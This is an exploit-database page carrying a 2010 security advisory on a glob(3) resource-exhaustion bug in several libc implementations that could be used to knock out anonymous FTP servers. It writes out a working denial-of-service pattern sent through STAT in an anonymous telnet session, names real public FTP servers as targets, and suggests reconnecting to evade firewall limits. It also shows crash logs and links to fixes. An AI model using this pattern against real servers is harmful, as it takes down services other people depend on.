Menu

Search for hundreds of thousands of exploits

"libc/glob(3) - Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)"

Author

Exploit author

"Maksymilian Arciemowicz"

Platform

Exploit platform

multiple

Release date

Exploit published date

2010-10-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
Source: http://securityreason.com/securityalert/7822

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote
ftpd-anon) ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 06.11.2009
- - Pub.: 07.10.2010

CVE: CVE-2010-2632

Affected Software (verified):
- - OpenBSD 4.7
- - NetBSD 5.0.2
- - FreeBSD 7.3/8.1
- - Oracle Sun Solaris 10
- - GNU Libc (glibc)

Affected Ftp Servers:
- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)
- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"
and ban)
- - ftp.freebsd.org
- - ftp.adobe.com
- - ftp.hp.com
- - ftp.sun.com
- - more more and more

Affected Vendors (not verified):
- - Apple
- - Microsoft Interix
- - HP
- - more more more

Original URL:
http://securityreason.com/achievement_securityalert/89


- --- 0.Description ---

#include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to
ARG_MAX.
This option should be set for programs that can be
coerced to a denial of service attack via patterns
that
expand to a very large number of matches, such as a
long
string of */../*/..


- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---
As we can read in definition GLOB_LIMIT:

- --
Limit the amount of memory used by matches to ARG_MAX. This option should
be set for programs that can be coerced to a denial of service attack via
patterns that expand to a very large number of mat
ches, such as a long string of */../*/..
- ---

but now is comming question "what will happen when we use */.. without
matching any results (simple searching)?" GLOB_LIMIT will be not
overflowed. To realize it, we need only use pattern with many
*/.. and many inodes in current directory. On the end of pattern, we need
add some not existed filename (like /cxib*).
If we don't have many files or directories in attacked direcotry, we need
create some dir-structure.

Let's see again:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co
ntent-type=text/x-cvsweb-markup

GLOB_LIMIT

protect us before attacks like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

because glob will find more patches as in GLOB_LIMIT declared. Anyway, if
we use path what do not exists (with */.. strings) like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha

GLOB_LIMIT will be never overflowed. Many combinations of paths, will
execute this proces a long time. We can also try allocate
(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB

Example:
> telnet ftp.netbsd.org 21
Trying 204.152.190.15...
Connected to ftp.netbsd.org.
Escape character is '^]'.
220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.
user anonymous
331 Guest login ok, type your name as password.
pass anon@cxib
230-
The NetBSD Project FTP Server located in Redwood City, CA, USA
...
230-
EXPORT NOTICE

...
230 Guest login ok, access restrictions apply.
stat
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx


this request will generate 100% usage of process a long time. ftpd come
into glob(3) and will not fast out. Very similar sympthon was described in
vulnerability for glibc strfmon(3)

- - http://securityreason.com/achievement_securityalert/67 --
...
Interesting is that the PHP memory_limit has no control over what will
happens in the level of the libc. Function strfmon(3) can allocate a lot
of
data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M
...
- - http://securityreason.com/achievement_securityalert/67 --

ftpd also dosen't control what will happen in libc.

so it is enough to send
- ---
USER anonymous
PASS
STAT */..[calculated pattern]
- ---

and disconnect to connect again (bypass firewall limits). In php we can
also bypass max_memory_limit by libc vulns.

Attacking machine in this way, we can call the various side effects.

- -kernel panic in netbsd502---
Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254
Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886
seconds.
Jul 5 10:22:43 syslogd: restart
Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe
Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode
Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206
cr2 0 ilevel 0
Jul 5 10:22:43 /netbsd: panic: trap
Jul 5 10:22:43 /netbsd: Begin traceback...
Jul 5 10:22:43 /netbsd: End traceback...
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8
Jul 5 10:22:43 /netbsd: dump succeeded
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: rebooting...
Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001,
2002, 2003, 2004, 2005,
- -kernel panic in netbsd502---

- -crash in openbsd47---
# ls
Segmentation fault (core dumped)

or ftpd.core

# gdb -q /usr/libexec/ftpd ftpd.core
(no debugging symbols found)
Core was generated by `ftpd'.
Program terminated with signal 11, Segmentation fault.
#0 0x0a77facb in ?? ()
(gdb) i r
eax 0xffffffff -1
ecx 0x6 6
edx 0x0 0
ebx 0x18 24
esp 0xcfbc1e70 0xcfbc1e70
ebp 0xcfbc1ea8 0xcfbc1ea8
esi 0x0 0
edi 0x81f78100 -2114486016
eip 0xa77facb 0xa77facb
eflags 0x10206 66054
cs 0x2b 43
ss 0x33 51
ds 0x33 51
es 0x33 51
fs 0x33 51
gs 0x33 51
(gdb) bt
#0 0x0a77facb in ?? ()
Cannot access memory at address 0xcfbc1e70
- -crash in openbsd47---

Presented issue in localized libc, not in ftpd. Try use
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx

in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill
children process after disconnect.

"What is wrong?",

libc has no control over the computing power glob(3), good fix for this
issue, should control, how many times glob(3) will call to
*readdirfunc(),stat(2) and reducing memory usage.

- -glob.c---
...
static int
glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,
Char *restpattern, glob_t *pglob, size_t *limit)
{
struct dirent *dp;
DIR *dirp;
int error;
char buf[MAXPATHLEN];

/*
* The readdirfunc declaration can't be prototyped, because it is
* assigned, below, to two functions which are prototyped in
glob.h
* and dirent.h as taking pointers to differently typed opaque
* structures.
*/
struct dirent *(*readdirfunc)(void *);
...
/*
* Loop over pattern segments until end of pattern or until
* segment with meta character found.
*/
for (anymeta = 0;;) {
if (*pattern == EOS) { /* End of pattern? */
*pathend = EOS;
if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT
THIS CALL ===
return 0;

if (((pglob->gl_flags & GLOB_MARK) &&
...

if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {
if (pglob->gl_errfunc) {
...
/* Search directory for matching names. */
if (pglob->gl_flags & GLOB_ALTDIRFUNC)
readdirfunc = pglob->gl_readdir;
else
readdirfunc = (struct dirent *(*)__P((void *))) readdir;
while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT
THIS CALL ===
...
- -glob.c---

As we can see, glob3() will call to (*readdirfunc)() and back to glob2().
glob2() will come again in glob3()... we need try control, how many times
glob will call to (*readdirfunc)() and stat().
Fix created together with NetBSD devs, should fix this problem.


- --- 2. 0day PoC ---
To sucessfully attack, we need calculate pattern. I am not going show, how
to optimal calulate pattern.
With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.

0day remote ftpd Denial-of-Service:
http://cxib.net/stuff/glob-0day.c
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/15215.c (glob-0day.c)

- --- 3. Fix ---
Oracle 25.09.2010 CET: Being fixed in main codeline

Very thanks for NetBSD project and help NetBSD project like they help you
in fixing this issue

http://netbsd.org/donations/

Fix libc/glob.c for netbsd-4,netbsd-5 branches:
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1
.18.10.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1
.30.12.1

Fix for openssh (sftp):
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf
tp.c#rev1.21.6.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf
tp-glob.c#rev1.13.12.1

http://netbsd.org/donations/
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.
asc


- --- 4. Greets ---
Special thanks for Christos Zoulas

sp3x, Infospec, Adam Zabrocki 'pi3'


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJMrXeVAAoJEIO8+dzW5bUwjq4P/R//ivaNDXSjx9ANBCkAvwQE
ril6lWxNS459raFYfQBSVL+5ZScrTczKRy+dNHVoARlfS9j9RtmXvnrHuAxAkkXd
0o6ulJem5QVbrUt50sfHm78IIHu3NDRQEotrOm2HGPUjd9ehFXxkPYrpkMfzulbX
Oml2Ng5lwd50M19t2NBNycNv+0KElqLYYCD9zQhtb50ZoQHZ4G40tP3MqEiDqEAB
ZmhiKPBAhCw+sXlx5lJ37+sMPTnQusUZ5JKU73zixEs0kxqs+bdNOa2sgEl6Fixe
0Qy/tK3TDjvrJv2Nlepuhax6Dsda1EWGztppD7BXeZvd3ZIslC1Q9xJVKPZ1EQ5r
UaQmqNXrSR3eJvQS8it6Qy2anxfCkrGMuEqbBo+oKlV2dLAHPmSLRwY98KI16E96
DPqSNG6UEmXOYjROboM05vjksNg+WvqRbd/kvH3qKk5E7GEtw8v/pGK1FXc1It7f
VD6YSANhmlLliLz8OT8qFzaQ7eojEUu5xCn5Dd1er5bvtERmME1MtKctpRZBLH7I
j4cuK3l7X/yXet7jOJ/zcOND8tkX64ZBCU6VgcGnF56mWhZtbVCqFD+fVeSSqgPA
S72zTsV616YrSt78K3aMK00OD8BGlcW4NAGZ9y8/IiIHPaJFUiR+AO5fSOmFZnn9
NKv1ahQyLCmS6QCIQ4rV
=BiRC
-----END PGP SIGNATURE-----
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2016-12-12 "iOS 10.1.x - Certificate File Memory Corruption" dos ios "Maksymilian Arciemowicz"
2015-12-09 "Apple Mac OSX 10.11 - FTS Deep Structure of the FileSystem Buffer Overflow" dos osx "Maksymilian Arciemowicz"
2014-04-08 "Apple Mac OSX 10.9 - Hard Link Memory Corruption" dos osx "Maksymilian Arciemowicz"
2013-02-05 "FreeBSD 9.1 - 'ftpd' Remote Denial of Service" dos freebsd "Maksymilian Arciemowicz"
2012-01-14 "PHP 5.3.8 - Multiple Vulnerabilities" dos multiple "Maksymilian Arciemowicz"
2011-11-04 "Libc - 'regcomp()' Stack Exhaustion Denial of Service" dos multiple "Maksymilian Arciemowicz"
2011-08-19 "PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities" dos php "Maksymilian Arciemowicz"
2011-07-01 "NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows" remote bsd "Maksymilian Arciemowicz"
2011-05-12 "Apache 1.4/2.2.x - APR 'apr_fnmatch()' Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-03-18 "PHP 5.3.5 libzip 0.9.3 - _zip_name_locate Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-03-02 "vsftpd 2.3.2 - Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference Denial of Service" dos php "Maksymilian Arciemowicz"
2011-01-07 "GNU libc/regcomp(3) - Multiple Vulnerabilities" dos linux "Maksymilian Arciemowicz"
2010-12-10 "PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow" dos multiple "Maksymilian Arciemowicz"
2010-12-07 "GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service" dos linux "Maksymilian Arciemowicz"
2010-11-05 "PHP 5.3.3/5.2.14 - ZipArchive::getArchiveComment Null Pointer Dereference" dos php "Maksymilian Arciemowicz"
2010-10-07 "libc/glob(3) - Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)" dos multiple "Maksymilian Arciemowicz"
2010-09-08 "FreeBSD 8.1/7.3 - 'vm.pmap' Local Race Condition" dos bsd "Maksymilian Arciemowicz"
2010-05-27 "FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC)" dos freebsd "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - Nested Directory Tree Local Denial of Service" dos solaris "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - 'in.ftpd' Long Command Handling Security" dos solaris "Maksymilian Arciemowicz"
2010-04-24 "Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)" dos osx "Maksymilian Arciemowicz"
2010-01-08 "Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption" dos osx "Maksymilian Arciemowicz"
2010-01-08 "MATLAB R2009b - 'dtoa' Implementation Memory Corruption" dos linux "Maksymilian Arciemowicz"
2009-12-19 "PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass" local php "Maksymilian Arciemowicz"
2009-12-03 "PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure" local php "Maksymilian Arciemowicz"
2009-11-20 "Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution" remote multiple "Maksymilian Arciemowicz"
2009-11-20 "KDE 4.3.3 - KDELibs 'dtoa()' Remote Code Execution" remote linux "Maksymilian Arciemowicz"
2009-11-13 "PHP 5.2.11/5.3.0 - Multiple Vulnerabilities" remote php "Maksymilian Arciemowicz"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.